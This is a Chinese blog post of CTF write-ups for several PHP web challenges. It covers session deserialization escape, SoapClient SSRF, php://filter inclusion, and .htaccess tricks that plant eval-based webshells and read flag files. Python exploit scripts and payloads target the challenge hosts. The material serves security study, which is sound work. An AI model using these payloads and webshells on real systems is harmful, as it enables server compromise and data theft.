[安洵杯 2019]easy_serialize_php

直接给了源代码

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; extract($_POST); if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

提示查看phpinfo

发现d0g3_f1ag.php,就是需要读取的flag文件

这道题其实就是php字符串逃逸。0ctf中的piapiapia已经出现过了。

原理:通过字符串的增减,逃逸",构造payload,将已经设定好的img挤出去。达到构造前面的变量就可以修改已设定好的变量

这里因为有extract所以我们有两个可控变量,一个SESSION[user],一个SESSION[function],这两个变量覆盖后不会再改变,SESSION[img]我们是改变不了的,是再变量覆盖后赋值。

来看一下最开始的

这里我们需要把img挤出去,先构造下function,挤出去img,插入我们自己设定好的

payload:

_SESSION[user]=yunying&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

可以看到这里如果是设置user和 function的话,光靠function是逃不出去的,因为有43个字符,并且这里是过滤为空而不是0CTF里的替换->增量,这里依然会把构造的img后面的给包括进来,如何不包括到;s:3"img",xxxx这些呢。

这里就可以用到user,通过user和function的字符串计算,在user的第二个"开始到function键值的第一个"的结束,这样就可以把function后面的s:""包含进来,就不会影响到下一个键img了。

这里比较懒,直接分析下别的师傅的payload

第一种:键值逃逸

payload

function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}

本地搭建环境,未过滤前

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后

a:3:{s:4:"user";s:24:"";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

上面也说到了需要计算字符在user的第二个"开始到function键值的第一个"的结束。

所以这里应该计算的是

";s:8:"function";s:60:"

一共是23个字符,但是这里是

";s:8:"function";s:60:"p

因为过滤为空的字符中,有4位和3位的,这里全用4位的,不过还需要多加一个字符。

加ab这个键值对,是因为这里前提是a:3,数组中需要有三个键值对,因此只要补上一个任意的键值对即可。

第二种方法:键名逃逸

这个是我没想到的,extract的东西,extract里面规定的是数组,但是当我们传入的是二维数组的键值时候,只会覆盖变量的当前的键值对,其他的都会为空。

举例如下:

payload:

_SESSION[flagphp]=;s:2:"db";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这里更加简单,只需要将这七个字符包含在内

";s:51:

所以替换flagphp这七个字符为空,就可以将上述字符包括在内。这里不需要多加键值对。

Bestphp’s revenge

这道题名字跟MRCTF最后一题有点像啊,题目也基本差不多。

进入源码如下:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

分析下逻辑:

post参数值作为$_GET['f']参入值回调函数的参数

get传入name赋值Session name参数

然后获取session数组的第一个参数值,与'welcome_to_the_lctf2018'组成数组

再通过回调函数的作用作为implode的参数,讲数组打散连接成字符串

这里我的想法是,是不是要传入extract,变量覆盖利用system去找。没有找到思路,又不像是是soapclient原生类反序列化。这里看了WP,直接贴上题解

https://xz.aliyun.com/t/3341#toc-13

https://www.cnblogs.com/20175211lyz/p/11515519.html

https://cloud.tencent.com/developer/article/1376384

发现有flag.php的提示

<?php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
>?

最后的思路是

利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。

这里分析一下思路,起点是要通过soapclient类去触发ssrf访问flag.php才能将flag写入session中,难点就是如何触发soapclient类。

分析:

0x01:

题解里说到是通过session存储的差异性,导致取出session对比时反序列化恶意payload,猜测flag.php存储方式应该是php,如果我们设置在index.php页面用php_serialize存储,通过增加一个|来达到触发后面的对象类soapclient的反序列化。所以第一步就是赋值session,call_user_func还可以将session_start作为回调函数,将serialize_handler的序列化方式作为参数。

构造如下赋值:

session_start(['serialize_handler'=>'php_serialize'])

0x02:

这里又有一个问题,就是如何让soapclient调用__call魔术方法,这里又回到index.php

$b = 'implode';
call_user_func($_GET['f'], $_POST);
call_user_func($b, $a);

这里需要用到变量覆盖的extract,不过有个trick,就是call_user_func的一个性质(7.1.x extract不能被动态调用)

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。

例如:

<?php
class myclass{
static function say_hello(){
echo "hello!";
}
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));

结果就会调用类myclass中的say_hello方法,输出hello!

所以这里我需要以这种方式调用soapclient

call_user_func(array(SoapClient,'say_hello'));

这里就可以把b赋值为call_user_func,f赋值为extract,name赋值为SoapClient。调用如下

call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018'))

这样就可以令SoapClient调用到不存在的方法,触发自身的__call魔术方法

实现如下:

0x01首先POC用去访问index.php页面

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

这里就完成了覆盖序列化引擎为php_serialize,设置好了session

0x02再去访问index.php页面,这里session_start()用的序列化引擎是php,然后var_dump会反序列化Soapclient,call_user_func可以触发__call

0x03修改自己的session改成返回的PHPSESSID,再访问index.php获得flag

为了更加理解CRLF这里我实验了一下。location下注入可以直接

在php的header里使用会出现warning

header("location:".$_GET["url"]);

[ZJCTF 2019]NiZhuanSiWei

进入即源码

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

可以文件包含并且提示useless.php

payload

get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=../../../../../../var/www/html/useless.php&text=php://input

post:welcome to the zjctf

获得useless.php的源码

<?php  

class Flag{  //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

exp

<?php  

class Flag{  //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>

payload:

get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&text=php://input

post:welcome to the zjctf

[XNUCA2019]Easy PHP

进入即源码

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

1.会遍历删除目录下除index.php外的文件

2.content中不能存在一些字符

3.filename必须是[a-z.]中的字符

4.最后以file_put_contents写入,filename作为文件名,content作为内容连接\nJust one chance

测试一下

http://40d8d782-5c07-41ee-bf36-fa01132a126b.node3.buuoj.cn/?content=<?php echo 123;>?&filename=abcd.php

并没有被解析啊,虽然是php。并且都已经遍历删除了,为什么还有包含文件呢。都是疑点。

这里用.htaccess的话,因该有换行数据干扰,会导致失败,我们可以用\去转义掉\n,使其变成字符串\n然后用#注释

预期解:

着重在include_once('fl3g.php'),如果结合.htaccess

这里可以利用.htaccess来改写php.ini的一些属性。

摘自php.net

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。

php_value``name``value

设定指定的值。只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。要清除先前设定的值,把 value 设为 none

Note: 不要用 php_value 设定布尔值。应该用 php_flag(见下面)。

php_flag``name``on|off

用来设定布尔值的配置指令。仅能用于 PHP_INI_ALL 和 PHP_INI_PERDIR 类型的指令。

php_admin_value``name``value

设定指定的指令的值。不能用于 .htaccess 文件。任何用 php_admin_value 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。要清除先前设定的值,把 value 设为 none

php_admin_flag``name``on|off

用来设定布尔值的配置指令。不能用于 .htaccess 文件。任何用 php_admin_flag 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL即PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path

这个参数可以指定一个目录列表,其中require、include、fopen()、file()、readfile()和file_get_contents()函数在查找要包含的文件时,会分别考虑include路径中的每个条目。它将检查第一个路径,如果没有找到,则检查下一个路径,直到找到包含的文件或返回警告或错误。

所以想办法在其他目录下写入同名fl3g.php文件,并且里面包含我们的shell,然后通过设置此参数,让该文件可以成功包含fl3g.php从而getshell

这里filename有限制,无法用/去跨目录写,所以我们需要想办法。

查找所有php log相关的功能可以看到error_log这一选项

利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上

步骤讲解:

这里我们可以先将include_path设置为php语句,通过python脚本上传.htaccess。然后访问index.php后会出现错误,因为include_path的路径出错,这时错误信息会写到/tmp/f13g.php中,但这时页面时没有任何显示的。下一步就需要包含这个错误的日志信息,然后再去访问index.php才可以将信息显示到页面中,也就是我们需要两个操作,才能将我们想要输出的PHP语句包含到页面中。

这里虽然会遍历删除,但是上传后的第一次访问仍然会以.htaccss中的规则执行,第二次访问时已经没有.htaccess了。

通过如下脚本:

注:

error_reporting 32767指的是报告所有的可能出现的错误

1           E_ERROR             报告导致脚本终止运行的致命错误
2           E_WARNING       报告运行时的警告类错误(脚本不会终止运行)
4           E_PARSE             报告编译时的语法解析错误
8           E_NOTICE           报告通知类错误,脚本可能会产生错误
32767   E_ALL                  报告所有的可能出现的错误(不同的PHP版本,常量E_ALL的值也可能不同)
import requests
payload="""
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "<?php phpinfo(); ?>"
# \\""" #用完上面的,把上面的payload注入,把下面的注释解开
# payload="""
# php_value error_log /tmp/fl3g.php
# php_value error_reporting 32767
# php_value include_path /tmp
# # \\""" URL = "http://b4ecdf5d-ef89-444b-ac27-98b2a948a98e.node3.buuoj.cn/index.php" def upload_content(name, content): data = {
"content" : content,
"filename" : name,
} return requests.get(URL, params=data) rep = upload_content(".htaccess", payload)
print(rep.text)

可以发现<被html编码了

这里可以用UTF-7编码写入,然后利用.htaccess设置来解码,在SUCTF中的easy_web也有这样的方法。

第一次

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path '+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADs-' #<?php eval($_POST[yunying]);
# \\

第二次

php_value error_log /tmp/fl3g.php
php_value zend.multibyte 1 #支持多字符集编码
php_value zend.script_encoding "UTF-7"
php_value include_path /tmp
# \\

脚本如下:

import requests
PAYLOAD1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADsAPwA+-"
# \\""" PAYLOAD2 = """php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\""" URL = "http://86feb995-f4bf-4283-bae5-8b377c40d5b3.node3.buuoj.cn/index.php" def upload_content(name, content): data = {
"content" : content,
"filename" : name,
} return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD1)
print(rep.text) rep = upload_content(".htaccess", PAYLOAD2)
print(rep.text)

执行一次命令就需要先执行一次脚本,因为执行完一次命令,.htaccess就会被删除,所以需要脚本写入.htaccess,下次执行命令就可以包含上了

非预期解01

可以看到对于文件名的限制只可以a-z .字符,如果匹配到其他的字符就会返回true,绕过需要返回false。

if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker2";
die();
}

而根据正则回溯,当超过回溯次数,preg_matc就会返回false,因此可以通过将prce.backtrack_limit设置为0,超过回溯次数就会返回false

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

脚本如下:

import requests

PAYLOAD3 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\""" PAYLOAD4 = """<?php phpinfo();?>""" URL = "http://xxx/index.php" def upload_content(name, content): data = {
"content" : content,
"filename" : name,
} return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD3)
print(rep.text) rep = upload_content("fl3g.php", PAYLOAD4)
print(rep.text)

通过.htaccess设置回溯次数,在下次请求filename=f13g.php时生效,回溯限制变成0,然后filename就可以绕过,正则到1的时候,不属于[a-z].范围内,会进行回溯,只要回溯一次就算超过了回溯次数,导致preg_match返回false。

但是通过上面的方式,访问f13g.php,BUU靶机用这个exp打发现仍然是不被解析的,并且index.php也不会包含。不像.htaccess作用于当前目录。测试失败

陆队文章中还提了一下ROIS战队的做法:

ROIS 这里使用了一种比较复杂的方法,首先同样上传.htaccess把 pcre 回溯限制改成 0,然后使用 base64 写文件绕过stristr的判断,使用auto_append_file包含.htaccess,在.htaccess当中写注释 webshell 即可。

首先上传.htaccess,内容为:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

再次上传名为php://filter/write=convert.base64-decode/resource=.htaccess,内容为,

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c

base64 解码的内容是

php_value pcre.backtrack_limit    0

php_value auto_append_file    ".htaccess"

php_value pcre.jit   0

#<?php eval($_GET[1]);?>\

Exp:

import requests

PAYLOAD5 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\""" PAYLOAD6 = """cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c""" URL = "http://zedd.cc/xnuca/index.php" def upload_content(name, content): data = {
"content" : content,
"filename" : name,
"1": "echo 'Done!';"
} return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD5)
print(rep.text) rep = upload_content("php://filter/write=convert.base64-decode/resource=.htaccess", PAYLOAD6)
print(rep.text)

ROIS解法利用base64编码绕过stristr对于file字符串的限制,通过设置回溯绕过filename对于php://filter/write流字符串以base64解码的方式写入,然后通过auto_append_file,自动包含base64编码后的.htaccess的shell。

上面两个方法,第一个陆队的说的是不行的,因为conf文件里设置了当前目录不解析php除了index.php,所以get shell必须在index.php上动手脚。第二个ROIS的感觉才是正解。

非预期解02

既然能用\绕过最后的\n,同样我们也可以用来绕过stristr,而且不影响.htaccess的解析

lv4n师傅的payload:

import requests

url = 'http://64252b1b-326b-43dd-8dcf-e8afa7dff495.node1.buuoj.cn/'
r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\')
print(r.text)

或者陆队的exp

import requests

PAYLOAD7 = """php_value auto_prepend_fi\\
le ".htaccess"
#<?php phpinfo();?>\\""" URL = "http://xxx/index.php" def upload_content(name, content): data = {
"content" : content,
"filename" : name,
} return requests.get(URL, params=data) rep = upload_content(".htaccess", PAYLOAD7)
print(rep.text)

这里又学习了一下apache如何在指定目录下禁止解析php。conf文件可以这样设置

DocumentRoot /var/www/html
php_admin_flag engine off
网上看到的写法:
<Directory "/var/www/html/upload">
php_admin_flag engine off
</Directory>

这里看了下题目docker中的设置如下:

htaccess相关:

相关网站:

PHP 运行于 Apache 模块方式

php.ini 配置选项列表

运行时配置

学习链接:

mrkaixin

XNUCA 2019 Qualifier Ezphp

BUU刷题01的更多相关文章

  1. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  2. LeetCode刷题 - (01)两数之和

    题目描述 给定一个整数数组nums和一个目标值target,请你在该数组中找出和为目标值的那两个整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个数组中同样的元 ...

  3. 洛谷P1926 小书童—刷题大军【01背包】

    题目链接:https://www.luogu.org/problemnew/show/P1926 题目背景 数学是火,点亮物理的灯:物理是灯,照亮化学的路:化学是路,通向生物的坑:生物是坑,埋葬学理的 ...

  4. 83.(01背包)CYD刷题

    3130 CYD刷题  时间限制: 1 s  空间限制: 128000 KB  题目等级 : 钻石 Diamond 题解 查看运行结果 题目描述 Description 下午,CYD要刷题了,已知CY ...

  5. 【刷题记录】BZOJ-USACO

    接下来要滚去bzoj刷usaco的题目辣=v=在博客记录一下刷题情况,以及存一存代码咯.加油! 1.[bzoj1597][Usaco2008 Mar]土地购买 #include<cstdio&g ...

  6. LeetCode刷题指南(字符串)

    作者:CYC2018 文章链接:https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Leetcode+%E9%A2%98%E8%A7% ...

  7. NOIp2018停课刷题记录

    Preface 老叶说了高中停课但是初中不停的消息后我就为争取民主献出一份力量 其实就是和老师申请了下让我们HW的三个人听课结果真停了 那么还是珍惜这次机会好好提升下自己吧不然就\(AFO\)了 Li ...

  8. 湾区求职分享:三个月刷题拿到 Google offer,欢迎踊跃提问

    本文仅以个人经历和个人观点作为参考.如能受益,不胜荣幸. 本文会不断的修正,更新.希望通过大家的互动最后能写出一份阅者受益的文章. 本文纯手打,会有错别字,欢迎指出,虚心接受及时更改. 小马过河,大牛 ...

  9. 好像leeceode题目我的博客太长了,需要重新建立一个. leecode刷题第二个

    376. Wiggle Subsequence               自己没想出来,看了别人的分析. 主要是要分析出升序降序只跟临近的2个决定.虽然直觉上不是这样. 455. 分发饼干     ...

随机推荐

  1. 百道Python面试题实现,搞定Python编程就靠它

    对于一般的机器学习求职者而言,最基础的就是掌握 Python 编程技巧,随后才是相关算法或知识点的掌握.在这篇文章中,我们将介绍一个 Python 练习题项目,它从算法练习题到机试实战题提供了众多问题 ...

  2. Docker笔记(十三):容器日志采集实践

    日志是服务运行过程中的一个关键环节,借助日志,我们可以排查定位问题,也可以借助集中化的日志管理平台(如ELK)来做一些必要的数据统计分析.在Docker环境中,日志的采集比传统环境更为复杂,因此了解D ...

  3. 我的Keras使用总结(4)——Application中五款预训练模型学习及其应用

    本节主要学习Keras的应用模块 Application提供的带有预训练权重的模型,这些模型可以用来进行预测,特征提取和 finetune,上一篇文章我们使用了VGG16进行特征提取和微调,下面尝试一 ...

  4. LoardPe与Import REC X64dbg脚本 脱壳 Upx

    目录 LoardPe与Import REC X64dbg脚本 脱壳 Upx 一丶X64dbg调试器与脚本 1.1 起因 1.2 脚本的调试 1.3 Upx脱壳脚本 二丶LoardPe 内存Dump与I ...

  5. iOS 图片圆角性能

    通常设置圆角方式 imageView.clipsToBounds = YES; imageView.layer.cornerRadius = 50; 这样设置会触发离屏渲染,比较消耗性能.比如当一个页 ...

  6. MATLAB GUI设计(3)

    一.gca.gcf.gco 1.三者的功能定义: gcf 返回当前Figure 对象的句柄值 gca 返回当前axes 对象的句柄值 gco 返回当前鼠标单击的句柄值,该对象可以是除root 对象外的 ...

  7. 并查集例题02.带权并查集(poj1182)

    Description 动物王国中有三类动物A,B,C,这三类动物的食物链构成了有趣的环形.A吃B, B吃C,C吃A.现有N个动物,以1-N编号.每个动物都是A,B,C中的一种,但是我们并不知道它到底 ...

  8. H - 遥远的糖果 HihoCoder - 1478

    给定一个N x M的01矩阵,其中1表示人,0表示糖.对于每一个位置,求出每个位置离糖的最短距离是多少. 矩阵中每个位置与它上下左右相邻的格子距离为1. Input 第一行包含两个整数,N和M. 以下 ...

  9. JavaScript五子棋第二版

      这是博主做的一个移动端五子棋小游戏,请使用手机体验.由于希望能有迭代开发的感觉,所以暂时只支持双人对战且无其他提示及对战界面,只有胜利提示,悔棋.对战双方显示.人机对战.集成TS(用于学习).和局 ...

  10. findbugs过滤R.java文件

    在第一次使用findbugs时检查出100多个Bad pratice,仔细一看原来全是R文件里面的类名首字母没有大写导致的. 于是只有自己在findbugs设置界面中添加过滤条件来忽略掉R文件. 在F ...